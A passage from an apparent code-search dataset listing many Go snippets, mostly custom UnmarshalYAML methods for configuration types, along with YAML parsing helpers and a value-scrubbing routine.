{\n\t\tpart = bytes.TrimSpace(part)\n\t\tif len(part) == 0 {\n\t\t\tcontinue\n\t\t}\n\t\tobj, _, err := scheme.Codecs.UniversalDeserializer().Decode([]byte(part), nil, nil)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tr = append(r, obj)\n\t}\n\treturn r, nil\n}","func (z *Z) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype Z struct {\n\t\tS *string `json:\"s\"`\n\t\tI *int32 `json:\"iVal\"`\n\t}\n\tvar dec Z\n\tif err := unmarshal(&dec); err != nil {\n\t\treturn err\n\t}\n\tif dec.S != nil {\n\t\tz.S = *dec.S\n\t}\n\tif dec.I != nil {\n\t\tz.I = *dec.I\n\t}\n\treturn nil\n}","func (r *ScalingConfigOrT[_]) UnmarshalYAML(value *yaml.Node) error {\n\tif err := value.Decode(&r.ScalingConfig); err != nil {\n\t\tswitch err.(type) {\n\t\tcase *yaml.TypeError:\n\t\t\tbreak\n\t\tdefault:\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif !r.ScalingConfig.IsEmpty() {\n\t\t// Successfully unmarshalled ScalingConfig fields, return\n\t\treturn nil\n\t}\n\n\tif err := value.Decode(&r.Value); err != nil {\n\t\treturn errors.New(`unable to unmarshal into int or composite-style map`)\n\t}\n\treturn nil\n}","func (c *Config) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype raw Config\n\tvar cfg raw\n\tif c.URL.URL != nil {\n\t\t// we used flags to set that value, which already has sane default.\n\t\tcfg = raw(*c)\n\t} else {\n\t\t// force sane defaults.\n\t\tcfg = raw{\n\t\t\tBackoffConfig: util.BackoffConfig{\n\t\t\t\tMaxBackoff: 5 * time.Second,\n\t\t\t\tMaxRetries: 5,\n\t\t\t\tMinBackoff: 100 * time.Millisecond,\n\t\t\t},\n\t\t\tBatchSize: 100 * 1024,\n\t\t\tBatchWait: 1 * time.Second,\n\t\t\tTimeout: 10 * time.Second,\n\t\t}\n\t}\n\n\tif err := unmarshal(&cfg); err != nil {\n\t\treturn err\n\t}\n\n\t*c = Config(cfg)\n\treturn nil\n}","func (c *Scrubber) ScrubYaml(input []byte) ([]byte, error) {\n\tvar data *interface{}\n\terr := yaml.Unmarshal(input, &data)\n\n\t// if we can't load the yaml run the default scrubber on the input\n\tif err == nil {\n\t\twalk(data, func(key string, value interface{}) (bool, interface{}) {\n\t\t\tfor _, replacer := range c.singleLineReplacers {\n\t\t\t\tif replacer.YAMLKeyRegex == nil {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tif replacer.YAMLKeyRegex.Match([]byte(key)) {\n\t\t\t\t\tif replacer.ProcessValue != nil {\n\t\t\t\t\t\treturn true, replacer.ProcessValue(value)\n\t\t\t\t\t}\n\t\t\t\t\treturn true, defaultReplacement\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn false, \"\"\n\t\t})\n\n\t\tnewInput, err := yaml.Marshal(data)\n\t\tif err == nil {\n\t\t\tinput = newInput\n\t\t} else {\n\t\t\t// Since the scrubber is a dependency of the logger we can use it here.\n\t\t\tfmt.Fprintf(os.Stderr, \"error scrubbing YAML, falling back on text scrubber: %s\\n\", err)\n\t\t}\n\t}\n\treturn c.ScrubBytes(input)\n}","func (c *SlackConfig) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t*c = DefaultSlackConfig\n\ttype plain SlackConfig\n\tif err := unmarshal((*plain)(c)); err != nil {\n\t\treturn err\n\t}\n\treturn checkOverflow(c.XXX, \"slack config\")\n}","func (version *Version) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar versionString string\n\terr := unmarshal(&versionString)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tnewVersion := Version(versionString)\n\tif _, err := newVersion.major(); err != nil {\n\t\treturn err\n\t}\n\n\tif _, err := newVersion.minor(); err != nil {\n\t\treturn err\n\t}\n\n\t*version = newVersion\n\treturn nil\n}","func (c *Config) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\n\ttype plain Config\n\treturn unmarshal((*plain)(c))\n}","func (r *OAuthFlow) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tobj := make(map[string]interface{})\n\tif err := unmarshal(&obj); err != nil {\n\t\treturn errors.WithStack(err)\n\t}\n\n\tif value, ok := obj[\"authorizationUrl\"]; ok {\n\t\tif value, ok := value.(string); ok {\n\t\t\tr.AuthorizationURL = value\n\t\t}\n\t}\n\n\tif value, ok := obj[\"tokenUrl\"]; ok {\n\t\tif value, ok := value.(string); ok {\n\t\t\tr.TokenURL = value\n\t\t}\n\t}\n\n\tif value, ok := obj[\"refreshUrl\"]; ok {\n\t\tif value, ok := value.(string); ok {\n\t\t\tr.RefreshURL = value\n\t\t}\n\t}\n\n\tif value, ok := obj[\"scopes\"]; ok {\n\t\trbytes, err := yaml.Marshal(value)\n\t\tif err != nil {\n\t\t\treturn errors.WithStack(err)\n\t\t}\n\t\tvalue := map[string]string{}\n\t\tif err := yaml.Unmarshal(rbytes, &value); err != nil {\n\t\t\treturn errors.WithStack(err)\n\t\t}\n\t\tr.Scopes = value\n\t}\n\n\texts := Extensions{}\n\tif err := unmarshal(&exts); err != nil {\n\t\treturn errors.WithStack(err)\n\t}\n\n\tif len(exts) > 0 {\n\t\tr.Extensions = exts\n\t}\n\n\treturn nil\n}","func (r *ParseKind) UnmarshalYAML(unmarshal func(v interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn fmt.Errorf(\"ParseKind should be a string\")\n\t}\n\tv, ok := _ParseKindNameToValue[s]\n\tif !ok {\n\t\treturn fmt.Errorf(\"invalid ParseKind %q\", s)\n\t}\n\t*r = v\n\treturn nil\n}","func ReUnmarshal(rc *promcfg.RelabelConfig) error {\n\ts, err := yaml.Marshal(rc)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Failed to marshal relabel config: %s\", err)\n\t}\n\terr = yaml.Unmarshal(s, rc)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Failed to re-unmarshal relabel config: %s\", err)\n\t}\n\treturn nil\n}","func (r *Run) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar cl CommandList\n\tcommandCandidate := marshal.UnmarshalCandidate{\n\t\tUnmarshal: func() error { return unmarshal(&cl) },\n\t\tAssign: func() { *r = Run{Command: cl} },\n\t}\n\n\ttype runType Run // Use new type to avoid recursion\n\tvar runItem runType\n\trunCandidate := marshal.UnmarshalCandidate{\n\t\tUnmarshal: func() error { return unmarshal(&runItem) },\n\t\tAssign: func() { *r = Run(runItem) },\n\t\tValidate: func() error {\n\t\t\tactionUsedList := []bool{\n\t\t\t\tlen(runItem.Command) != 0,\n\t\t\t\tlen(runItem.SubTaskList) != 0,\n\t\t\t\trunItem.SetEnvironment != nil,\n\t\t\t}\n\n\t\t\tcount := 0\n\t\t\tfor _, isUsed := range actionUsedList {\n\t\t\t\tif isUsed {\n\t\t\t\t\tcount++\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif count > 1 {\n\t\t\t\treturn errors.New(\"only one action can be defined in `run`\")\n\t\t\t}\n\n\t\t\treturn nil\n\t\t},\n\t}\n\n\treturn marshal.UnmarshalOneOf(commandCandidate, runCandidate)\n}","func UnmarshalInlineYaml(obj map[string]interface{}, targetPath string) (err error) {\n\tnodeList := strings.Split(targetPath, \".\")\n\tif len(nodeList) == 0 {\n\t\treturn fmt.Errorf(\"targetPath '%v' length is zero after split\", targetPath)\n\t}\n\n\tcur := obj\n\tfor _, nname := range nodeList {\n\t\tndata, ok := cur[nname]\n\t\tif !ok || ndata == nil { // target path does not exist\n\t\t\treturn fmt.Errorf(\"targetPath '%v' doest not exist in obj: '%v' is missing\",\n\t\t\t\ttargetPath, nname)\n\t\t}\n\t\tswitch nnode := ndata.(type) {\n\t\tcase map[string]interface{}:\n\t\t\tcur = nnode\n\t\tdefault: // target path type does not match\n\t\t\treturn fmt.Errorf(\"targetPath '%v' doest not exist in obj: \"+\n\t\t\t\t\"'%v' type is not map[string]interface{}\", targetPath, nname)\n\t\t}\n\t}\n\n\tfor dk, dv := range cur {\n\t\tswitch vnode := dv.(type) {\n\t\tcase string:\n\t\t\tvo := make(map[string]interface{})\n\t\t\tif err := yaml.Unmarshal([]byte(vnode), &vo); err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\t// Replace the original text yaml tree node with yaml objects\n\t\t\tcur[dk] = vo\n\t\t}\n\t}\n\treturn\n}","func (w *BuildWrapper) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar err error\n\tvar buildString string\n\tif err = unmarshal(&buildString); err == nil {\n\t\t//str := command\n\t\t//*w = CommandWrapper(str)\n\t\tw.BuildString = buildString\n\t\treturn nil\n\t}\n\t// if err != nil {\n\t// \treturn err\n\t// }\n\t// return json.Unmarshal([]byte(str), w)\n\n\tvar buildObject map[string]string\n\tif err = unmarshal(&buildObject); err == nil {\n\t\t//str := command\n\t\t//*w = CommandWrapper(commandArray[0])\n\t\tw.BuildObject = buildObject\n\t\treturn nil\n\t}\n\treturn nil //should be an error , something like UNhhandledError\n}","func yamlDecode(ctx *pulumi.Context, text string, opts ...pulumi.InvokeOption) ([]map[string]interface{}, error) {\n\targs := struct {\n\t\tText string `pulumi:\"text\"`\n\t}{Text: text}\n\tvar ret struct {\n\t\tResult []map[string]interface{} `pulumi:\"result\"`\n\t}\n\n\tif err := ctx.Invoke(\"kubernetes:yaml:decode\", &args, &ret, opts...); err != nil {\n\t\treturn nil, err\n\t}\n\treturn ret.Result, nil\n}","func (c *Config) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t*c = DefaultConfig\n\tc.LogsLabels = make(map[string]string)\n\ttype plain Config\n\treturn unmarshal((*plain)(c))\n}","func (act *Action) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t// creating anonimus struct to avoid recursion\n\tvar a struct {\n\t\tName ActionType `yaml:\"type\"`\n\t\tTimeout time.Duration `yaml:\"timeout,omitempty\"`\n\t\tOnFail onFailAction `yaml:\"on-fail,omitempty\"`\n\t\tInterval time.Duration `yaml:\"interval,omitempty\"`\n\t\tEnabled bool `yaml:\"enabled,omitempty\"`\n\t\tRecordPending bool `yaml:\"record-pending,omitempty\"`\n\t\tRole actionRole `yaml:\"role,omitempty\"`\n\t}\n\t// setting default\n\ta.Name = \"defaultName\"\n\ta.Timeout = 20 * time.Second\n\ta.OnFail = of_ignore\n\ta.Interval = 20 * time.Second\n\ta.Enabled = true\n\ta.RecordPending = false\n\ta.Role = ar_none\n\tif err := unmarshal(&a); err != nil {\n\t\treturn err\n\t}\n\t// copying into aim struct fields\n\t*act = Action{a.Name, a.Timeout, a.OnFail, a.Interval,\n\t\ta.Enabled, a.RecordPending, a.Role, nil}\n\treturn nil\n}","func parseYaml(yaml string) (*UnstructuredManifest, error) {\n\trawYamlParsed := &map[string]interface{}{}\n\terr := yamlParser.Unmarshal([]byte(yaml), rawYamlParsed)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\trawJSON, err := json.Marshal(dyno.ConvertMapI2MapS(*rawYamlParsed))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tunstruct := meta_v1_unstruct.Unstructured{}\n\terr = unstruct.UnmarshalJSON(rawJSON)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tmanifest := &UnstructuredManifest{\n\t\tunstruct: &unstruct,\n\t}\n\n\tlog.Printf(\"[DEBUG] %s Unstructed YAML: %+v\\n\", manifest, manifest.unstruct.UnstructuredContent())\n\treturn manifest, nil\n}","func (r *Rate) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar value float64\n\tif err := unmarshal(&value); err != nil {\n\t\treturn err\n\t}\n\n\tparsed := Rate(value)\n\tif err := parsed.Validate(); err != nil {\n\t\treturn err\n\t}\n\n\t*r = parsed\n\n\treturn nil\n}","func (s *TestFileParams) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype plain TestFileParams\n\tif err := unmarshal((*plain)(s)); err != nil {\n\t\treturn err\n\t}\n\tif s.Size == 0 {\n\t\treturn errors.New(\"File 'size' must be defined\")\n\t}\n\tif s.HistogramBucketPush == nil {\n\t\treturn errors.New(\"File 'histogram_bucket_push' must be defined\")\n\t}\n\tif s.HistogramBucketPull == nil {\n\t\treturn errors.New(\"File 'histogram_bucket_pull' must be defined\")\n\t}\n\treturn nil\n}","func (c *Count) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tif err := unmarshal(&c.AdvancedCount); err != nil {\n\t\tswitch err.(type) {\n\t\tcase *yaml.TypeError:\n\t\t\tbreak\n\t\tdefault:\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif err := c.AdvancedCount.IsValid(); err != nil {\n\t\treturn err\n\t}\n\n\tif !c.AdvancedCount.IsEmpty() {\n\t\t// Successfully unmarshalled AdvancedCount fields, return\n\t\treturn nil\n\t}\n\n\tif err := unmarshal(&c.Value); err != nil {\n\t\treturn errUnmarshalCountOpts\n\t}\n\treturn nil\n}","func (p *PortMapping) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype Alias PortMapping\n\taux := &struct {\n\t\tProtocol string `json:\"protocol\"`\n\t\t*Alias\n\t}{\n\t\tAlias: (*Alias)(p),\n\t}\n\tif err := unmarshal(&aux); err != nil {\n\t\treturn err\n\t}\n\tif aux.Protocol != \"\" {\n\t\tval, ok := PortMappingProtocolNameToValue[strings.ToUpper(aux.Protocol)]\n\t\tif !ok {\n\t\t\treturn fmt.Errorf(\"unknown protocol value: %s\", aux.Protocol)\n\t\t}\n\t\tp.Protocol = PortMappingProtocol(val)\n\t}\n\treturn nil\n}","func (s *String) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar candidate string\n\tif err := unmarshal(&candidate); err != nil {\n\t\treturn err\n\t}\n\n\ts.set(candidate)\n\treturn nil\n}","func (c *Scenario) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype C Scenario\n\tnewConfig := (*C)(c)\n\tif err := unmarshal(&newConfig); err != nil {\n\t\treturn err\n\t}\n\tif c.Database == nil {\n\t\treturn fmt.Errorf(\"Database must not be empty\")\n\t}\n\tif c.Collection == nil {\n\t\treturn fmt.Errorf(\"Collection must not be empty\")\n\t}\n\tswitch p := c.Parallel; {\n\tcase p == nil:\n\t\tc.Parallel = Int(1)\n\tcase *p < 1:\n\t\treturn fmt.Errorf(\"Parallel must be greater than or equal to 1\")\n\tdefault:\n\t}\n\tswitch s := c.BufferSize; {\n\tcase s == nil:\n\t\tc.BufferSize = Int(1000)\n\tcase *s < 1:\n\t\treturn fmt.Errorf(\"BufferSize must be greater than or equal to 1\")\n\tdefault:\n\t}\n\tswitch s := c.Repeat; {\n\tcase s == nil:\n\t\tc.Repeat = Int(1)\n\tcase *s < 0:\n\t\treturn fmt.Errorf(\"Repeat must be greater than or equal to 0\")\n\tdefault:\n\t}\n\tif len(c.Queries) == 0 {\n\t\treturn fmt.Errorf(\"Queries must not be empty\")\n\t}\n\treturn nil\n}"],"string":"[\n \"func (a anchors) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\treturn nil\\n}\",\n \"func (e *ExternalOptimizeForConfigV1) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\treturn e.unmarshalWith(unmarshal)\\n}\",\n \"func (cd *ContainerDef) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype rawContainerDef ContainerDef\\n\\traw := rawContainerDef{Essential: true} // If essential is not specified, we want it to be true\\n\\tif err := unmarshal(&raw); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t*cd = ContainerDef(raw)\\n\\treturn nil\\n}\",\n \"func (op *OpRemove) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\treturn unmarshal(&op.Field)\\n}\",\n \"func (this *Write) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\t// new temp as map[string]interface{}.\\n\\ttemp := make(map[string]interface{})\\n\\n\\t// unmarshal temp as yaml.\\n\\tif err := unmarshal(temp); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn this.unmarshal(temp)\\n}\",\n \"func (msg *RawMessage) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tmsg.unmarshal = unmarshal\\n\\treturn nil\\n}\",\n \"func yamlUnmarshal(y []byte, o interface{}, strict bool, opts ...JSONOpt) error {\\n\\tvo := reflect.ValueOf(o)\\n\\tunmarshalFn := yaml.Unmarshal\\n\\tif strict {\\n\\t\\tunmarshalFn = yaml.UnmarshalStrict\\n\\t}\\n\\tj, err := yamlToJSON(y, &vo, unmarshalFn)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"error converting YAML to JSON: %v\\\", err)\\n\\t}\\n\\n\\terr = jsonUnmarshal(bytes.NewReader(j), o, opts...)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"error unmarshaling JSON: %v\\\", err)\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (b *extraKV) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\treturn unmarshal(&b.Kv)\\n}\",\n \"func (op *OpFlatten) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\treturn unmarshal(&op.Field)\\n}\",\n \"func (y *PipelineYml) Unmarshal() error {\\n\\n\\terr := yaml.Unmarshal(y.byteData, &y.obj)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif y.obj == nil {\\n\\t\\treturn errors.New(\\\"PipelineYml.obj is nil pointer\\\")\\n\\t}\\n\\n\\t//err = y.Evaluate(applyEnvsWithPriority(y.metadata.publicTemplateVars, y.metadata.secretTemplateVars))\\n\\t//if err != nil {\\n\\t//\\treturn err\\n\\t//}\\n\\n\\t// re unmarshal to obj, because byteData updated by evaluate\\n\\terr = yaml.Unmarshal(y.byteData, &y.obj)\\n\\treturn err\\n}\",\n \"func (o *Op) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar typeDecoder map[string]rawMessage\\n\\terr := unmarshal(&typeDecoder)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn o.unmarshalDecodedType(typeDecoder)\\n}\",\n \"func (r *Connection) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype tmp Connection\\n\\tvar s struct {\\n\\t\\ttmp `yaml:\\\",inline\\\"`\\n\\t}\\n\\n\\terr := unmarshal(&s)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unable to parse YAML: %s\\\", err)\\n\\t}\\n\\n\\t*r = Connection(s.tmp)\\n\\n\\tif err := utils.ValidateTags(r); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t// If options weren't specified, create an empty map.\\n\\tif r.Options == nil {\\n\\t\\tr.Options = make(map[string]interface{})\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (f *Fixed8) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\terr := unmarshal(&s)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn f.setFromString(s)\\n}\",\n \"func (r *rawMessage) UnmarshalYAML(b []byte) error {\\n\\t*r = b\\n\\treturn nil\\n}\",\n \"func (i *Transform) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tvar err error\\n\\t*i, err = ParseTransformString(s)\\n\\treturn err\\n}\",\n \"func UnmarshalYAML(config *YAMLConfiguration, path string) {\\n\\tdata, err := ioutil.ReadFile(path)\\n\\tif err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n\\terr = yaml.Unmarshal(data, config)\\n\\tif err != nil {\\n\\t\\tfmt.Println(err)\\n\\t\\tos.Exit(1)\\n\\t}\\n}\",\n \"func (conf *Config) UnmarshalYAML(value *yaml.Node) error {\\n\\ttype confAlias Config\\n\\taliased := confAlias(NewConfig())\\n\\n\\terr := value.Decode(&aliased)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"line %v: %v\\\", value.Line, err)\\n\\t}\\n\\n\\tif aliased.Type, _, err = docs.GetInferenceCandidateFromYAML(nil, docs.TypeTracer, aliased.Type, value); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"line %v: %w\\\", value.Line, err)\\n\\t}\\n\\n\\t*conf = Config(aliased)\\n\\treturn nil\\n}\",\n \"func (b *ByteCount) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar strVal string\\n\\terr := unmarshal(&strVal)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tparsed, err := Parse(strVal)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*b = parsed\\n\\treturn nil\\n}\",\n \"func (f *Flag) UnmarshalYAML(node *yaml.Node) error {\\n\\ttag := GetTag(node.Value)\\n\\tf.Name = tag.Name\\n\\tf.Negates = tag.Negates\\n\\tlog.Tracef(\\\"Unmarshal %s into %s\\\\n\\\", node.Value, tag)\\n\\treturn nil\\n}\",\n \"func (bc *ByteCount) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar u64 uint64\\n\\tif unmarshal(&u64) == nil {\\n\\t\\tAtomicStoreByteCount(bc, ByteCount(u64))\\n\\n\\t\\treturn nil\\n\\t}\\n\\n\\tvar s string\\n\\tif unmarshal(&s) == nil {\\n\\t\\tv, err := ParseByteCount(s)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"%q: %w: %v\\\", s, ErrMalformedRepresentation, err)\\n\\t\\t}\\n\\t\\tAtomicStoreByteCount(bc, v)\\n\\n\\t\\treturn nil\\n\\t}\\n\\n\\treturn fmt.Errorf(\\\"%w: unexpected type\\\", ErrMalformedRepresentation)\\n}\",\n \"func UnmarshalYAML(yml []byte) (map[string]ZNode, error) {\\n\\tvar root map[string]ZNode\\n\\tvar err = yaml.Unmarshal(yml, &root)\\n\\treturn root, err\\n}\",\n \"func (k *Ktype) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar ktyp string\\n\\terr := unmarshal(&ktyp)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*k = KeventNameToKtype(ktyp)\\n\\treturn nil\\n}\",\n \"func (s *Secret) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype plain Secret\\n\\treturn unmarshal((*plain)(s))\\n}\",\n \"func (s *Secret) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype plain Secret\\n\\treturn unmarshal((*plain)(s))\\n}\",\n \"func (b *Bool) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar candidate bool\\n\\tif err := unmarshal(&candidate); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tb.set(candidate)\\n\\treturn nil\\n}\",\n \"func (a *RelabelAction) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tswitch act := RelabelAction(strings.ToLower(s)); act {\\n\\tcase RelabelReplace, RelabelKeep, RelabelDrop, RelabelHashMod, RelabelLabelMap, RelabelLabelDrop, RelabelLabelKeep:\\n\\t\\t*a = act\\n\\t\\treturn nil\\n\\t}\\n\\treturn fmt.Errorf(\\\"unknown relabel action %q\\\", s)\\n}\",\n \"func (re *Regexp) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tr, err := NewRegexp(s)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*re = r\\n\\treturn nil\\n}\",\n \"func (re *Regexp) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tr, err := NewRegexp(s)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*re = r\\n\\treturn nil\\n}\",\n \"func (mv *Move) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tparsed, err := ParseMove(s)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t*mv = *parsed\\n\\treturn nil\\n}\",\n \"func unmarsharlYaml(byteArray []byte) Config {\\n\\tvar cfg Config\\n\\terr := yaml.Unmarshal([]byte(byteArray), &cfg)\\n\\tif err != nil {\\n\\t\\tlog.Fatalf(\\\"error: %v\\\", err)\\n\\t}\\n\\treturn cfg\\n}\",\n \"func (e *ExternalJavaPackagePrefixConfigV1) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\treturn e.unmarshalWith(unmarshal)\\n}\",\n \"func (key *PrivateKey) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar str string\\n\\terr := unmarshal(&str)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*key, err = NewPrivateKey(str)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func (s *Store) UnmarshalYAML(unmarshal func(interface{}) error) (err error) {\\n\\ttype storeYAML map[string]map[string]entryYAML\\n\\n\\tsy := make(storeYAML, 0)\\n\\n\\terr = unmarshal(&sy)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t*s = NewStore()\\n\\tfor groupID, group := range sy {\\n\\t\\tfor entryID, entry := range group {\\n\\t\\t\\tentry.e.setGroup(groupID)\\n\\t\\t\\tif err = s.add(entryID, entry.e); err != nil {\\n\\t\\t\\t\\treturn err\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (s *MaporEqualSlice) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tparts, err := unmarshalToStringOrSepMapParts(unmarshal, \\\"=\\\")\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*s = parts\\n\\treturn nil\\n}\",\n \"func (s *ArtifactoryParams) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype plain ArtifactoryParams\\n\\tif err := unmarshal((*plain)(s)); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func (p *Package) UnmarshalYAML(value *yaml.Node) error {\\n\\tpkg := &Package{}\\n\\tpkg.Present = true // present gets set to true because they wouldn't mention it otherwise\\n\\tvar err error // for use in the switch below\\n\\n\\tlog.Trace().Interface(\\\"Node\\\", value).Msg(\\\"Pkg UnmarshalYAML\\\")\\n\\tif value.Tag != \\\"!!map\\\" {\\n\\t\\treturn fmt.Errorf(\\\"unable to unmarshal yaml: value not map (%s)\\\", value.Tag)\\n\\t}\\n\\n\\tfor i, node := range value.Content {\\n\\t\\tlog.Trace().Interface(\\\"node1\\\", node).Msg(\\\"\\\")\\n\\t\\tswitch node.Value {\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\tpkg.Name = value.Content[i+1].Value\\n\\t\\t\\tif pkg.Name == \\\"\\\" {\\n\\t\\t\\t\\treturn nil\\n\\t\\t\\t}\\n\\t\\tcase \\\"version\\\":\\n\\t\\t\\tpkg.Version = value.Content[i+1].Value\\n\\t\\tcase \\\"present\\\":\\n\\t\\t\\tpkg.Present, err = strconv.ParseBool(value.Content[i+1].Value)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tlog.Error().Err(err).Msg(\\\"can't parse installed field\\\")\\n\\t\\t\\t\\treturn err\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\tlog.Trace().Interface(\\\"pkg\\\", pkg).Msg(\\\"what's in the box?!?!\\\")\\n\\t*p = *pkg\\n\\n\\treturn nil\\n}\",\n \"func (i *UserGroupAccess) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tvar err error\\n\\t*i, err = UserGroupAccessString(s)\\n\\treturn err\\n}\",\n \"func (at *SecurityCheck) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar res map[string]interface{}\\n\\tif err := unmarshal(&res); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\terr := mapstructure.Decode(res, &at)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif at.TestType == common.NonApplicableTest || at.TestType == common.ManualTest {\\n\\t\\tat.NonApplicable = true\\n\\t}\\n\\treturn nil\\n}\",\n \"func (s *GitEvent) UnmarshalYAML(n *yaml.Node) error {\\n\\tvar j string\\n\\terr := yaml.Unmarshal([]byte(n.Value), &j)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t// Note that if the string cannot be found then it will be set to the zero value, 'Push' in this case.\\n\\t*s = toID[j]\\n\\treturn nil\\n}\",\n \"func (op *OpAdd) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar addRaw opAddRaw\\n\\terr := unmarshal(&addRaw)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"decode OpAdd: %s\\\", err)\\n\\t}\\n\\n\\treturn op.unmarshalFromOpAddRaw(addRaw)\\n}\",\n \"func (d *duration) UnmarshalYAML(unmashal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmashal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tdur, err := time.ParseDuration(s)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*d = duration(dur)\\n\\treturn nil\\n}\",\n \"func (ln *LabelName) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s 